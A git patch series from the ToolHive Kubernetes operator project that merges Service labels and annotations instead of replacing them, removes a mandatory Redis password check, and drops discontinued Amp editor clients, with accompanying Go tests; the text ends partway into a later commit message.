newService.Annotations + // Merge (not replace) Labels/Annotations so keys written by external controllers + // (e.g. GKE NEG's cloud.google.com/* annotations) are preserved while the + // operator-owned values are applied. + service.Labels = ctrlutil.MergeLabels(newService.Labels, service.Labels) + service.Annotations = ctrlutil.MergeAnnotations(newService.Annotations, service.Annotations) err = r.Update(ctx, service) if err != nil { ctxLogger.Error(err, "Failed to update Service", "Service.Namespace", service.Namespace, "Service.Name", service.Name) @@ -2062,11 +2065,15 @@ func serviceNeedsUpdate(service *corev1.Service, mcpServer *mcpv1beta1.MCPServer } } - if !maps.Equal(service.Labels, expectedLabels) { + // Subset check rather than exact equality: the Service is co-owned by external + // controllers (e.g. GKE NEG/Gateway writes cloud.google.com/* annotations), so only + // the operator-owned keys must match. maps.Equal would treat those external + // annotations as drift and hot-loop Update against the concurrent writer. + if !ctrlutil.MapIsSubset(expectedLabels, service.Labels) { return true } - if !maps.Equal(service.Annotations, expectedAnnotations) { + if !ctrlutil.MapIsSubset(expectedAnnotations, service.Annotations) { return true } diff --git a/cmd/thv-operator/controllers/mcpserver_resource_overrides_test.go b/cmd/thv-operator/controllers/mcpserver_resource_overrides_test.go index dc4c85d1bb..de1c5b57dd 100644 --- a/cmd/thv-operator/controllers/mcpserver_resource_overrides_test.go +++ b/cmd/thv-operator/controllers/mcpserver_resource_overrides_test.go @@ -1135,6 +1135,19 @@ func TestMCPServerServiceNeedsUpdate(t *testing.T) { }(), needsUpdate: false, }, + { + // Regression for #5730: external controllers (e.g. GKE NEG/Gateway) write + // cloud.google.com/* annotations on the Service. These are not operator-owned + // and must not be treated as drift, or the operator hot-loops Update. + name: "external cloud annotations ignored", + service: func() *corev1.Service { + s := baseService.DeepCopy() + s.Annotations["cloud.google.com/neg-status"] = `{"network_endpoint_groups":{"8080":"k8s1-abc"}}` + return s + }(), + mcpServer: baseMCPServer.DeepCopy(), + needsUpdate: false, + }, } for _, tt := range tests { diff --git a/cmd/thv-operator/controllers/mcpserver_service_annotations_test.go b/cmd/thv-operator/controllers/mcpserver_service_annotations_test.go new file mode 100644 index 0000000000..e995ba6b40 --- /dev/null +++ b/cmd/thv-operator/controllers/mcpserver_service_annotations_test.go @@ -0,0 +1,80 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package controllers + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + corev1 "k8s.io/api/core/v1" + "k8s.io/apimachinery/pkg/types" + ctrl "sigs.k8s.io/controller-runtime" + "sigs.k8s.io/controller-runtime/pkg/client/fake" + + mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1/v1beta1test" + "github.com/stacklok/toolhive/cmd/thv-operator/internal/testutil" + ctrlutil "github.com/stacklok/toolhive/cmd/thv-operator/pkg/controllerutil" + "github.com/stacklok/toolhive/pkg/container/kubernetes" +) + +// TestMCPServerReconcile_PreservesExternalServiceAnnotations is a regression test for +// #5730: when a genuine operator-owned change triggers the inline Service update in +// Reconcile, annotations written by an external controller (e.g. GKE NEG) must be +// merged, not stripped, otherwise the operator hot-loops Update against the concurrent +// writer. +func TestMCPServerReconcile_PreservesExternalServiceAnnotations(t *testing.T) { + t.Parallel() + + const name = "ext-annot-server" + namespace := testNamespaceDefault + + mcpServer := v1beta1test.NewMCPServer(name, namespace, v1beta1test.WithTransport("sse")) + + scheme := testutil.NewScheme(t) + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(mcpServer). + WithStatusSubresource(&mcpv1beta1.MCPServer{}). + Build() + r := newTestMCPServerReconciler(fakeClient, scheme, kubernetes.PlatformKubernetes) + + req := ctrl.Request{NamespacedName: types.NamespacedName{Name: name, Namespace: namespace}} + // Drive to steady state; successive passes create the Deployment and Service. + for range 6 { + _, err := r.Reconcile(t.Context(), req) + require.NoError(t, err) + } + + svcName := ctrlutil.CreateProxyServiceName(name) + svcKey := types.NamespacedName{Name: svcName, Namespace: namespace} + + // An external controller (GKE NEG) writes an annotation, and an operator-owned field + // drifts (empty session affinity) so serviceNeedsUpdate fires on the next reconcile. + svc := &corev1.Service{} + require.NoError(t, fakeClient.Get(t.Context(), svcKey, svc)) + if svc.Annotations == nil { + svc.Annotations = map[string]string{} + } + svc.Annotations["cloud.google.com/neg-status"] = `{"network_endpoint_groups":{"8080":"k8s1-abc"}}` + svc.Spec.SessionAffinity = "" + require.NoError(t, fakeClient.Update(t.Context(), svc)) + + // Reconcile again; the inline Service update path merges rather than replaces. + for range 3 { + _, err := r.Reconcile(t.Context(), req) + require.NoError(t, err) + } + + updated := &corev1.Service{} + require.NoError(t, fakeClient.Get(t.Context(), svcKey, updated)) + // External annotation preserved... + assert.Equal(t, `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + updated.Annotations["cloud.google.com/neg-status"], + "external annotation must survive the operator Service update") + // ...and the operator-owned field corrected. + assert.Equal(t, corev1.ServiceAffinityClientIP, updated.Spec.SessionAffinity, + "operator-owned session affinity should be reconciled back to the default") +} diff --git a/cmd/thv-operator/controllers/virtualmcpserver_controller.go b/cmd/thv-operator/controllers/virtualmcpserver_controller.go index a0694cff55..e1f312ac79 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_controller.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_controller.go @@ -1597,11 +1597,15 @@ func (r *VirtualMCPServerReconciler) ensureService( // - Preserve Spec.ClusterIP: Immutable field, cannot be changed // - Preserve Spec.HealthCheckNodePort: Set by cloud provider for LoadBalancer // - Preserve ResourceVersion, UID: Required for optimistic concurrency control + // - Merge (not replace) Labels/Annotations: preserve keys written by external + // controllers (e.g. GKE NEG's cloud.google.com/* annotations) while applying + // the operator-owned values; a wholesale replace would strip them and race the + // concurrent writer. service.Spec.Ports = newService.Spec.Ports service.Spec.Type = newService.Spec.Type service.Spec.SessionAffinity = newService.Spec.SessionAffinity - service.Labels = newService.Labels - service.Annotations = newService.Annotations + service.Labels = ctrlutil.MergeLabels(newService.Labels, service.Labels) + service.Annotations = ctrlutil.MergeAnnotations(newService.Annotations, service.Annotations) ctxLogger.Info("Updating Service", "Service.Namespace", service.Namespace, "Service.Name", service.Name) if err := r.Update(ctx, service); err != nil { @@ -1878,17 +1882,21 @@ func (*VirtualMCPServerReconciler) serviceNeedsUpdate( return true } - // Check if service metadata has changed + // Check if service metadata has changed. Use a subset check rather than exact + // equality: the Service is co-owned by external controllers (e.g. GKE NEG/Gateway + // writes cloud.google.com/* annotations), so only the operator-owned keys must + // match. Comparing with maps.Equal would treat those external annotations as drift + // and hot-loop Update against the concurrent writer. expectedLabels := labelsForVirtualMCPServer(vmcp.Name) expectedAnnotations := make(map[string]string) // TODO: Add support for ResourceOverrides if needed in the future - if !maps.Equal(service.Labels, expectedLabels) { + if !ctrlutil.MapIsSubset(expectedLabels, service.Labels) { return true } - if !maps.Equal(service.Annotations, expectedAnnotations) { + if !ctrlutil.MapIsSubset(expectedAnnotations, service.Annotations) { return true } diff --git a/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go b/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go index 400f01472f..32ef6aca9b 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go @@ -864,6 +864,33 @@ func TestVirtualMCPServerServiceNeedsUpdate(t *testing.T) { }(), needsUpdate: false, }, + { + // Regression for #5730: a Service co-owned by GKE NEG/Gateway gets + // cloud.google.com/* annotations written by the cloud controller. These are + // not operator-owned and must not be treated as drift, or the operator + // hot-loops Update and races the concurrent writer. + name: "external cloud annotations ignored", + service: func() *corev1.Service { + s := baseService.DeepCopy() + s.Annotations = map[string]string{ + "cloud.google.com/neg": `{"ingress":true}`, + "cloud.google.com/neg-status": `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + } + return s + }(), + vmcp: baseVmcp.DeepCopy(), + needsUpdate: false, + }, + { + name: "external label ignored", + service: func() *corev1.Service { + s := baseService.DeepCopy() + s.Labels["external.example.com/managed"] = "true" + return s + }(), + vmcp: baseVmcp.DeepCopy(), + needsUpdate: false, + }, } for _, tt := range tests { @@ -2597,6 +2624,61 @@ func TestVirtualMCPServerEnsureService_UpdateService(t *testing.T) { assert.Equal(t, corev1.ServiceTypeLoadBalancer, service.Spec.Type) } +// TestVirtualMCPServerEnsureService_PreservesExternalAnnotations is a regression test +// for #5730: when a genuine operator-owned change triggers a Service update, annotations +// written by an external controller (e.g. GKE NEG) must be preserved, not stripped. +func TestVirtualMCPServerEnsureService_PreservesExternalAnnotations(t *testing.T) { + t.Parallel() + + scheme := testutil.NewScheme(t) + + vmcp := v1beta1test.NewVirtualMCPServer(testVmcpName, "default", + v1beta1test.WithVMCPGroupRef(testGroupName), + v1beta1test.MutateVMCP(func(v *mcpv1beta1.VirtualMCPServer) { + v.Spec.ServiceType = "LoadBalancer" + }), + ) + + // Existing service with wrong type (triggers update) plus a cloud-owned annotation. + oldService := &corev1.Service{ + ObjectMeta: metav1.ObjectMeta{ + Name: vmcpServiceName(vmcp.Name), + Namespace: "default", + Labels: labelsForVirtualMCPServer(vmcp.Name), + Annotations: map[string]string{ + "cloud.google.com/neg-status": `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + }, + }, + Spec: corev1.ServiceSpec{ + Type: corev1.ServiceTypeClusterIP, + Selector: labelsForVirtualMCPServer(vmcp.Name), + Ports: []corev1.ServicePort{{Port: 4483, TargetPort: intstr.FromInt(4483)}}, + }, + } + + k8sClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(vmcp, oldService). + Build() + + reconciler := &VirtualMCPServerReconciler{Client: k8sClient, Scheme: scheme} + + _, err := reconciler.ensureService(context.Background(), vmcp) + assert.NoError(t, err) + + service := &corev1.Service{} + err = k8sClient.Get(context.Background(), types.NamespacedName{ + Name: vmcpServiceName(vmcp.Name), + Namespace: vmcp.Namespace, + }, service) + assert.NoError(t, err) + // Operator-owned field applied... + assert.Equal(t, corev1.ServiceTypeLoadBalancer, service.Spec.Type) + // ...and the external annotation preserved. + assert.Equal(t, `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + service.Annotations["cloud.google.com/neg-status"]) +} + func TestVirtualMCPServerEnsureService_NoUpdateNeeded(t *testing.T) { t.Parallel() diff --git a/cmd/thv-operator/pkg/controllerutil/resources_test.go b/cmd/thv-operator/pkg/controllerutil/resources_test.go index 4f0da39419..6405014336 100644 --- a/cmd/thv-operator/pkg/controllerutil/resources_test.go +++ b/cmd/thv-operator/pkg/controllerutil/resources_test.go @@ -302,3 +302,54 @@ func TestEnsureRequiredEnvVars(t *testing.T) { assert.Equal(t, "regular", envMap["REGULAR_VAR"]) }) } + +// TestMergeStringMaps documents the precedence the Service reconcilers rely on when +// merging operator-owned annotations/labels over pre-existing (possibly externally +// written) ones: on a key collision the default map (first arg) wins, and keys present +// only in the override map (e.g. an external controller's cloud.google.com/* annotation) +// are preserved. See #5730. +func TestMergeStringMaps(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + defaultMap map[string]string + overrideMap map[string]string + want map[string]string + }{ + { + name: "default wins on key collision", + defaultMap: map[string]string{"shared": "operator"}, + overrideMap: map[string]string{"shared": "external"}, + want: map[string]string{"shared": "operator"}, + }, + { + name: "override-only keys preserved", + defaultMap: map[string]string{"app": "vmcp"}, + overrideMap: map[string]string{"cloud.google.com/neg-status": "x"}, + want: map[string]string{"app": "vmcp", "cloud.google.com/neg-status": "x"}, + }, + { + name: "collision plus preserved external key", + defaultMap: map[string]string{"app": "vmcp"}, + overrideMap: map[string]string{"app": "stale", "cloud.google.com/neg": "y"}, + want: map[string]string{"app": "vmcp", "cloud.google.com/neg": "y"}, + }, + { + name: "nil default preserves override", + defaultMap: nil, + overrideMap: map[string]string{"cloud.google.com/neg": "y"}, + want: map[string]string{"cloud.google.com/neg": "y"}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + assert.Equal(t, tt.want, MergeStringMaps(tt.defaultMap, tt.overrideMap)) + // MergeAnnotations/MergeLabels are thin wrappers with identical semantics. + assert.Equal(t, tt.want, MergeAnnotations(tt.defaultMap, tt.overrideMap)) + assert.Equal(t, tt.want, MergeLabels(tt.defaultMap, tt.overrideMap)) + }) + } +} From 7c383d6e35fcd57e809af389b9f760499d1b043b Mon Sep 17 00:00:00 2001 From: Juan Antonio Osorio Date: Tue, 7 Jul 2026 11:19:17 +0300 Subject: [PATCH 26/66] Drop unconditional ACL password guard from auth server Redis storage (#5734) NewRedisStorage rejected any config with an empty Password, contradicting the toolhive-core Config type it consumes (Password "may be empty when the server does not require authentication") and the sibling transport/session RedisStorage, which has no such guard. The requirement originated as a Phase-1 design choice in #3639 and was carried forward through the toolhive-core migration in #5318; it blocks passwordless Redis (in-cluster auth-disabled Valkey, dev miniredis) for no security reason the auth server itself needs. Drop the guard and keep only the storage-specific keyPrefix invariant. Connection validation and Ping verification remain delegated to tcredis.NewClient, so a misconfigured password still surfaces as a Redis-native auth error from the Ping. Add a passwordless-miniredis test and trim the validation table to the keyPrefix case. --- pkg/authserver/storage/redis.go | 10 ++++----- pkg/authserver/storage/redis_test.go | 33 +++++++++++++++++++--------- 2 files changed, 27 insertions(+), 16 deletions(-) diff --git a/pkg/authserver/storage/redis.go b/pkg/authserver/storage/redis.go index c5f53cf4a8..7c56afd6d6 100644 --- a/pkg/authserver/storage/redis.go +++ b/pkg/authserver/storage/redis.go @@ -107,16 +107,14 @@ type storedSession struct { // NewRedisStorage creates Redis-backed storage. Connection-mode topology, // timeouts, TLS, and credentials are configured through cfg; keyPrefix is the -// per-tenant key prefix (e.g. "thv:auth:{ns}:{name}:"). The auth server -// requires ACL authentication, so cfg.Password and keyPrefix must be non-empty. +// per-tenant key prefix (e.g. "thv:auth:{ns}:{name}:") and must be non-empty. // // Connection-mode validation, timeout defaults, client construction (standalone, // cluster, or sentinel), TLS plumbing, and connectivity verification are -// delegated to the shared toolhive-core redis package. +// delegated to the shared toolhive-core redis package. cfg.Password may be +// empty when the Redis server does not require authentication (the auth server +// does not mandate ACL auth); the keyPrefix is storage-specific and required. func NewRedisStorage(ctx context.Context, cfg tcredis.Config, keyPrefix string) (*RedisStorage, error) { - if cfg.Password == "" { - return nil, errors.New("invalid redis configuration: ACL password is required") - } if keyPrefix == "" { return nil, errors.New("invalid redis configuration: key prefix is required") } diff --git a/pkg/authserver/storage/redis_test.go b/pkg/authserver/storage/redis_test.go index 917e8bef03..ec933b6898 100644 --- a/pkg/authserver/storage/redis_test.go +++ b/pkg/authserver/storage/redis_test.go @@ -99,12 +99,13 @@ func requireRedisNotFoundError(t *testing.T, err error) { // TestNewRedisStorage_Validation covers the auth-server-specific invariants // enforced by NewRedisStorage. Connection-mode topology (Addr XOR Sentinel, -// cluster requires Addr, sentinel master name and addresses) is validated by -// the shared toolhive-core redis package and exercised in its own tests. +// cluster requires Addr, sentinel master name and addresses) and credentials +// are validated by the shared toolhive-core redis package and exercised in its +// own tests; NewRedisStorage does not mandate a password. func TestNewRedisStorage_Validation(t *testing.T) { t.Parallel() - validACL := func() tcredis.Config { + validCfg := func() tcredis.Config { return tcredis.Config{Addr: "localhost:6379", Username: "user", Password: "pass"} } @@ -114,15 +115,9 @@ func TestNewRedisStorage_Validation(t *testing.T) { keyPrefix string wantErr string }{ - { - name: "missing ACL password", - cfg: tcredis.Config{Addr: "localhost:6379", Username: "user"}, - keyPrefix: "test:", - wantErr: "ACL password is required", - }, { name: "missing key prefix", - cfg: validACL(), + cfg: validCfg(), keyPrefix: "", wantErr: "key prefix is required", }, @@ -214,6 +209,24 @@ func TestNewRedisStorage_Standalone_WithMiniredis(t *testing.T) { require.NoError(t, s.Health(ctx)) } +// TestNewRedisStorage_Standalone_Passwordless verifies that an auth-disabled +// Redis (no ACL) is accepted, matching toolhive-core's Config contract where +// Password "may be empty when the server does not require authentication". +func TestNewRedisStorage_Standalone_Passwordless(t *testing.T) { + t.Parallel() + + mr := miniredis.RunT(t) // no RequireUserAuth → auth disabled + + cfg := tcredis.Config{Addr: mr.Addr()} + + ctx := context.Background() + s, err := NewRedisStorage(ctx, cfg, "test:") + require.NoError(t, err) + t.Cleanup(func() { _ = s.Close() }) + + require.NoError(t, s.Health(ctx)) +} + // --- Client Tests --- func TestRedisStorage_Client(t *testing.T) { From ba88b46039bdce3624490dc62ceb8d87f5f25f71 Mon Sep 17 00:00:00 2001 From: ecgang Date: Tue, 7 Jul 2026 01:21:57 -0700 Subject: [PATCH 27/66] Remove Amp editor extension clients (#5717) feat: remove dead Amp editor extension clients Amp discontinued their VS Code / Cursor / Windsurf editor extensions, so the corresponding ToolHive clients targeted software that no longer exists. Remove the four dead client identifiers: - amp-vscode - amp-vscode-insider - amp-cursor - amp-windsurf amp-cli is retained: Amp still ships and supports the CLI. Removed the ClientApp constants and their registry entries in pkg/client/config.go, the corresponding mock registry / switch / assertion references in pkg/client/config_test.go, and the stale test-data strings in pkg/config/config_test.go. Regenerated (by hand, matching codegen output) the swaggo enums (docs/server/{docs.go,swagger.json,swagger.yaml}) and the cobra client-list docs (docs/cli/thv_client_{register,remove}.md); `make docs` should be re-run to confirm byte-for-byte. BREAKING CHANGE: the amp-vscode, amp-vscode-insider, amp-cursor, and amp-windsurf client identifiers are removed from the MCP ClientApp API enum. Closes #5675 --- docs/cli/thv_client_register.md | 4 -- docs/cli/thv_client_remove.md | 4 -- docs/server/docs.go | 8 --- docs/server/swagger.json | 8 --- docs/server/swagger.yaml | 8 --- pkg/client/config.go | 104 -------------------------------- pkg/client/config_test.go | 58 ++---------------- pkg/config/config_test.go | 2 +- 8 files changed, 6 insertions(+), 190 deletions(-) diff --git a/docs/cli/thv_client_register.md b/docs/cli/thv_client_register.md index cb5e076cbc..0ce5cfeb50 100644 --- a/docs/cli/thv_client_register.md +++ b/docs/cli/thv_client_register.md @@ -19,10 +19,6 @@ Register a client for MCP server configuration. Valid clients: - amp-cli: Sourcegraph Amp CLI - - amp-cursor: Cursor Sourcegraph Amp extension - - amp-vscode: VS Code Sourcegraph Amp extension - - amp-vscode-insider: VS Code Insiders Sourcegraph Amp extension - - amp-windsurf: Windsurf Sourcegraph Amp extension - antigravity: Google Antigravity IDE - claude-code: Claude Code CLI - cline: VS Code Cline extension diff --git a/docs/cli/thv_client_remove.md b/docs/cli/thv_client_remove.md index 57480144a9..c5bb53a5e1 100644 --- a/docs/cli/thv_client_remove.md +++ b/docs/cli/thv_client_remove.md @@ -19,10 +19,6 @@ Remove a client from MCP server configuration. Valid clients: - amp-cli: Sourcegraph Amp CLI - - amp-cursor: Cursor Sourcegraph Amp extension - - amp-vscode: VS Code Sourcegraph Amp extension - - amp-vscode-insider: VS Code Insiders Sourcegraph Amp extension - - amp-windsurf: Windsurf Sourcegraph Amp extension - antigravity: Google Antigravity IDE - claude-code: Claude Code CLI - cline: VS Code Cline extension diff --git a/docs/server/docs.go b/docs/server/docs.go index 3871286b32..a0c023d1b9 100644 --- a/docs/server/docs.go +++ b/docs/server/docs.go @@ -884,10 +884,6 @@ const docTemplate = `{ "windsurf", "windsurf-jetbrains", "amp-cli", - "amp-vscode", - "amp-cursor", - "amp-vscode-insider", - "amp-windsurf", "lm-studio", "goose", "trae", @@ -915,10 +911,6 @@ const docTemplate = `{ "Windsurf", "WindsurfJetBrains", "AmpCli", - "AmpVSCode", - "AmpCursor", - "AmpVSCodeInsider", - "AmpWindsurf", "LMStudio", "Goose", "Trae", diff --git a/docs/server/swagger.json b/docs/server/swagger.json index f60beca3fa..54cf8b6e4c 100644 --- a/docs/server/swagger.json +++ b/docs/server/swagger.json @@ -877,10 +877,6 @@ "windsurf", "windsurf-jetbrains", "amp-cli", - "amp-vscode", - "amp-cursor", - "amp-vscode-insider", - "amp-windsurf", "lm-studio", "goose", "trae", @@ -908,10 +904,6 @@ "Windsurf", "WindsurfJetBrains", "AmpCli", - "AmpVSCode", - "AmpCursor", - "AmpVSCodeInsider", - "AmpWindsurf", "LMStudio", "Goose", "Trae", diff --git a/docs/server/swagger.yaml b/docs/server/swagger.yaml index dc8715bb4f..b70a631aa5 100644 --- a/docs/server/swagger.yaml +++ b/docs/server/swagger.yaml @@ -946,10 +946,6 @@ components: - windsurf - windsurf-jetbrains - amp-cli - - amp-vscode - - amp-cursor - - amp-vscode-insider - - amp-windsurf - lm-studio - goose - trae @@ -976,10 +972,6 @@ components: - Windsurf - WindsurfJetBrains - AmpCli - - AmpVSCode - - AmpCursor - - AmpVSCodeInsider - - AmpWindsurf - LMStudio - Goose - Trae diff --git a/pkg/client/config.go b/pkg/client/config.go index cf40ef1f03..d143cc1ea0 100644 --- a/pkg/client/config.go +++ b/pkg/client/config.go @@ -62,14 +62,6 @@ const ( WindsurfJetBrains ClientApp = "windsurf-jetbrains" // AmpCli represents the Sourcegraph Amp CLI. AmpCli ClientApp = "amp-cli" - // AmpVSCode represents the Sourcegraph Amp extension for VS Code. - AmpVSCode ClientApp = "amp-vscode" - // AmpCursor represents the Sourcegraph Amp extension for Cursor. - AmpCursor ClientApp = "amp-cursor" - // AmpVSCodeInsider represents the Sourcegraph Amp extension for VS Code Insiders. - AmpVSCodeInsider ClientApp = "amp-vscode-insider" - // AmpWindsurf represents the Sourcegraph Amp extension for Windsurf. - AmpWindsurf ClientApp = "amp-windsurf" // LMStudio represents the LM Studio application. LMStudio ClientApp = "lm-studio" // Goose represents the Goose AI agent. @@ -605,102 +597,6 @@ var supportedClientIntegrations = []clientAppConfig{ SkillsGlobalPath: []string{".agents", skillsDirName}, SkillsProjectPath: []string{".agents", skillsDirName}, }, - { - ClientType: AmpVSCode, - Description: "VS Code Sourcegraph Amp extension", - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - RelPath: []string{"Code", "User"}, - PlatformPrefix: map[Platform][]string{ - PlatformLinux: {".config"}, - PlatformDarwin: {"Library", "Application Support"}, - PlatformWindows: {"AppData", "Roaming"}, - }, - Extension: JSON, - SupportedTransportTypesMap: map[types.TransportType]string{ - types.TransportTypeStdio: httpTransportLabel, - types.TransportTypeSSE: "sse", - types.TransportTypeStreamableHTTP: httpTransportLabel, - }, - IsTransportTypeFieldSupported: true, - MCPServersUrlLabelMap: map[types.TransportType]string{ - types.TransportTypeStdio: defaultURLFieldName, - types.TransportTypeSSE: defaultURLFieldName, - types.TransportTypeStreamableHTTP: defaultURLFieldName, - }, - }, - { - ClientType: AmpVSCodeInsider, - Description: "VS Code Insiders Sourcegraph Amp extension", - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - RelPath: []string{"Code - Insiders", "User"}, - PlatformPrefix: map[Platform][]string{ - PlatformLinux: {".config"}, - PlatformDarwin: {"Library", "Application Support"}, - PlatformWindows: {"AppData", "Roaming"}, - }, - Extension: JSON, - SupportedTransportTypesMap: map[types.TransportType]string{ - types.TransportTypeStdio: httpTransportLabel, - types.TransportTypeSSE: "sse", - types.TransportTypeStreamableHTTP: httpTransportLabel, - }, - IsTransportTypeFieldSupported: true, - MCPServersUrlLabelMap: map[types.TransportType]string{ - types.TransportTypeStdio: defaultURLFieldName, - types.TransportTypeSSE: defaultURLFieldName, - types.TransportTypeStreamableHTTP: defaultURLFieldName, - }, - }, - { - ClientType: AmpCursor, - Description: "Cursor Sourcegraph Amp extension", - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - RelPath: []string{"Cursor", "User"}, - PlatformPrefix: map[Platform][]string{ - PlatformLinux: {".config"}, - PlatformDarwin: {"Library", "Application Support"}, - PlatformWindows: {"AppData", "Roaming"}, - }, - Extension: JSON, - SupportedTransportTypesMap: map[types.TransportType]string{ - types.TransportTypeStdio: httpTransportLabel, - types.TransportTypeSSE: "sse", - types.TransportTypeStreamableHTTP: httpTransportLabel, - }, - IsTransportTypeFieldSupported: true, - MCPServersUrlLabelMap: map[types.TransportType]string{ - types.TransportTypeStdio: defaultURLFieldName, - types.TransportTypeSSE: defaultURLFieldName, - types.TransportTypeStreamableHTTP: defaultURLFieldName, - }, - }, - { - ClientType: AmpWindsurf, - Description: "Windsurf Sourcegraph Amp extension", - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - RelPath: []string{"Windsurf", "User"}, - PlatformPrefix: map[Platform][]string{ - PlatformLinux: {".config"}, - PlatformDarwin: {"Library", "Application Support"}, - PlatformWindows: {"AppData", "Roaming"}, - }, - Extension: JSON, - SupportedTransportTypesMap: map[types.TransportType]string{ - types.TransportTypeStdio: httpTransportLabel, - types.TransportTypeSSE: "sse", - types.TransportTypeStreamableHTTP: httpTransportLabel, - }, - IsTransportTypeFieldSupported: true, - MCPServersUrlLabelMap: map[types.TransportType]string{ - types.TransportTypeStdio: defaultURLFieldName, - types.TransportTypeSSE: defaultURLFieldName, - types.TransportTypeStreamableHTTP: defaultURLFieldName, - }, - }, { ClientType: LMStudio, Description: "LM Studio application", diff --git a/pkg/client/config_test.go b/pkg/client/config_test.go index 389b10ade9..0daffd239a 100644 --- a/pkg/client/config_test.go +++ b/pkg/client/config_test.go @@ -103,38 +103,6 @@ func createMockClientConfigs() []clientAppConfig { MCPServersPathPrefix: "/amp.mcpServers", Extension: JSON, }, - { - ClientType: AmpVSCode, - Description: "VS Code Sourcegraph Amp extension (Mock)", - RelPath: []string{"mock_amp_vscode"}, - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - Extension: JSON, - }, - { - ClientType: AmpCursor, - Description: "Cursor Sourcegraph Amp extension (Mock)", - RelPath: []string{"mock_amp_cursor"}, - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - Extension: JSON, - }, - { - ClientType: AmpVSCodeInsider, - Description: "VS Code Insiders Sourcegraph Amp extension (Mock)", - RelPath: []string{"mock_amp_vscode_insider"}, - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - Extension: JSON, - }, - { - ClientType: AmpWindsurf, - Description: "Windsurf Sourcegraph Amp extension (Mock)", - RelPath: []string{"mock_amp_windsurf"}, - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - Extension: JSON, - }, { ClientType: LMStudio, Description: "LM Studio application (Mock)", @@ -394,10 +362,6 @@ func TestSuccessfulClientConfigOperations(t *testing.T) { string(Windsurf), string(WindsurfJetBrains), string(AmpCli), - string(AmpVSCode), - string(AmpCursor), - string(AmpVSCodeInsider), - string(AmpWindsurf), string(LMStudio), string(Goose), string(Trae), @@ -492,18 +456,6 @@ func TestSuccessfulClientConfigOperations(t *testing.T) { case AmpCli: assert.Contains(t, string(content), `"mcpServers":`, "AmpCli config should contain mcpServers key") - case AmpVSCode: - assert.Contains(t, string(content), `"mcpServers":`, - "AmpVSCode config should contain mcpServers key") - case AmpVSCodeInsider: - assert.Contains(t, string(content), `"mcpServers":`, - "AmpVSCodeInsider config should contain mcpServers key") - case AmpCursor: - assert.Contains(t, string(content), `"mcpServers":`, - "AmpCursor config should contain mcpServers key") - case AmpWindsurf: - assert.Contains(t, string(content), `"mcpServers":`, - "AmpWindsurf config should contain mcpServers key") case LMStudio, Trae, Kiro, Antigravity, GeminiCli, KimiCli, Factory, CopilotCli: assert.Contains(t, string(content), `"mcpServers":`, "Config should contain mcpServers key") @@ -562,7 +514,7 @@ func TestSuccessfulClientConfigOperations(t *testing.T) { assert.Contains(t, string(content), testURL, "VSCode config should contain the server URL") case Cursor, RooCode, ClaudeCode, Cline, Windsurf, WindsurfJetBrains, AmpCli, - AmpVSCode, AmpCursor, AmpVSCodeInsider, AmpWindsurf, LMStudio, Goose, Trae, Continue, OpenCode, Kiro, Antigravity, Zed, GeminiCli, VSCodeServer, + LMStudio, Goose, Trae, Continue, OpenCode, Kiro, Antigravity, Zed, GeminiCli, VSCodeServer, MistralVibe, Codex, KimiCli, Factory, CopilotCli: assert.Contains(t, string(content), testURL, "Config should contain the server URL") @@ -1292,8 +1244,8 @@ func TestGetAllClients(t *testing.T) { clients := GetAllClients() - // Should return all 28 supported clients - assert.Len(t, clients, 28, "Expected 28 supported clients") + // Should return all 24 supported clients + assert.Len(t, clients, 24, "Expected 24 supported clients") // Verify the list is sorted alphabetically for i := 1; i < len(clients); i++ { @@ -1507,7 +1459,7 @@ func TestGetClientListCSV(t *testing.T) { clientNames[i-1], clientNames[i]) } - // Count the number of clients (should be 28) + // Count the number of clients (should be 24) clients := strings.Split(csv, ", ") - assert.Len(t, clients, 28, "Expected 28 clients in CSV list") + assert.Len(t, clients, 24, "Expected 24 clients in CSV list") } diff --git a/pkg/config/config_test.go b/pkg/config/config_test.go index 4bc30074f4..67f92e2012 100644 --- a/pkg/config/config_test.go +++ b/pkg/config/config_test.go @@ -110,7 +110,7 @@ func TestSave(t *testing.T) { }, Clients: Clients{ RegisteredClients: []string{ - "vscode", "cursor", "roo-code", "cline", "claude-code", "amp-cli", "amp-vscode", "amp-cursor", + "vscode", "cursor", "roo-code", "cline", "claude-code", "amp-cli", }, }, } From 61655d18b6f084e9686839ed9e6fe510b2f796e9 Mon Sep 17 00:00:00 2001 From: Trey Date: Tue, 7 Jul 2026 01:35:19 -0700 Subject: [PATCH 28/66] Expose UpstreamFilter through authserver.New facade (#5733) * Expose UpstreamFilter through authserver.New facade WithUpstreamFilter (added in #5725) was only reachable via the low-level handlers.NewHandler constructor, so a caller using the public authserver.New facade had no way to install a filter. Add Config.UpstreamFilter and thread it into the handler options built for handlers.NewHandler, mirroring the existing refresher wiring. A nil filter preserves current behavior. * Guard UpstreamFilter misuse in authserver.Config Addresses stacklok/toolhive#5733 review comments: - MEDIUM 